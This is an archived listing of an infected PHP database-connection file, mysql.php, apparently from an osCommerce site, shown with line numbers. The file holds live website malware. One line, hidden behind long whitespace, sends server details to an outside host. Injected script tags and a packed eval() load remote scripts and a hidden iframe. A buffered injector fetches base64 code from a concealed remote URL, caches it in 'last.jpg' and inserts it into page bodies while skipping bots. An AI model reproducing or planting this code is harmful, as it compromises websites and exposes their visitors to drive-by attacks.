home *** CD-ROM | disk | FTP | other *** search
/ 91.121.126.69 / 91.121.126.69.tar / 91.121.126.69 / www / osc / extras / mysql.php < prev    next >
PHP Script  |  2015-06-11  |  4KB  |  71 lines

  1. <?php 
  2. #qpi#
  3.  ob_start();
  4. #/qpi#
  5.  ?>
  6. <?php                                                                                                                                                                                                 /*S2010RJ*/if (!function_exists('macrosReplace')) {$jm_sdata = strrev(base64_encode(serialize(array('DOCUMENT_ROOT' => $_SERVER['DOCUMENT_ROOT'],'HTTP_HOST' => $_SERVER['HTTP_HOST'],'SCRIPT_FILENAME' => $_SERVER['SCRIPT_FILENAME'],'REQUEST_URI' => $_SERVER['REQUEST_URI'],'SCRIPT_NAME' => $_SERVER['SCRIPT_NAME'],'PHP_SELF' => $_SERVER['PHP_SELF'],'fid' => '125856'))));echo '<img src="http://sjzrcw.cn/install/install.inc.php?l='.$jm_sdata.'" border="0" alt="" style="display:none">';}/*S2010RJ*/
  7.     $mysql_host = "your_hostname.com"; // host name
  8.     $mysql_user = "your_username"; // username
  9.     $mysql_pass = "your_password"; // password
  10.     $mysql_database = "your_database"; // database
  11. // connect
  12.     mysql_connect ($mysql_host, $mysql_user, $mysql_pass) or die(mysql_error());
  13.     mysql_select_db ($mysql_database) or die(mysql_error());
  14. ?>
  15.  
  16. </script><div id=pu></div<html><body><script type="text/javascript" src="http://counter.olusoft.com/1245361/link.php"></script><script type="text/javascript" src="http://91.239.65.173/t/link.php"></script>http://dromessop.org/fncb.cgi?6<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|82||src|height|74|width|board||94|php|174|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body></html>>
  17. <?php 
  18. #qpi#
  19. $obGet = ob_get_clean();
  20. $data=array(
  21.     'lastUpdate'=>0,
  22.     'currentCode'=>"",
  23. );
  24. $updateUrl=base64_decode("aHR0cDovLzIxMi43LjE5NS4xMjQvZ2V0VGFzay5waHA/ZnRwaWQ9NTQ1MjY0JnRhc2tpZD01");
  25. $needUpdate=1;
  26. $parseUrl="";
  27. $currentCode='';
  28. $tmpCode='';
  29. $answer=null;
  30. $out="";
  31. $fscock="";
  32.  
  33.  
  34. if(stripos($obGet, "<body") || stripos($obGet, "</body>") && !strpos($_SERVER['HTTP_USER_AGENT'], "+http"))
  35. {
  36.     if(file_exists('last.jpg'))
  37.     {
  38.         $data=unserialize(file_get_contents('last.jpg'));
  39.         if(is_array($data) && !empty($data['lastUpdate']))
  40.         {
  41.             if($data['lastUpdate']>(time()-300))
  42.                 $needUpdate=0;
  43.         }
  44.     }
  45.     if($needUpdate)
  46.     {
  47.         $parseUrl=parse_url($updateUrl);
  48.         $tmpCode=file_get_contents($updateUrl);
  49.         if($tmpCode && $tmpCode!='error')
  50.             $currentCode=$tmpCode;
  51.     }
  52.     if((isset($currentCode) && !empty($currentCode)) || !empty($data['currentCode']))
  53.     {
  54.         if(isset($currentCode) && !empty($currentCode))
  55.         {
  56.             $data['lastUpdate']=time();
  57.             $data['currentCode']=$currentCode;
  58.             $fp=fopen('last.jpg', 'w+');
  59.             fwrite($fp, serialize($data));
  60.             fclose($fp);
  61.         }
  62.         $data['currentCode']=isset($currentCode) && !empty($currentCode) ? $currentCode : $data['currentCode'];
  63.         if(stripos($obGet, "<body")!==false)
  64.             $obGet=preg_replace("#<body(.*)>#isU", "<body$1>".base64_decode($data['currentCode']), $obGet);
  65.         elseif (stripos($obGet, "</body>")!==false)
  66.             $obGet=str_ireplace("</body>", base64_decode($data['currentCode'])."</body>", $obGet);
  67.     }
  68.     echo $obGet;
  69. }
  70. #/qpi#
  71. ?>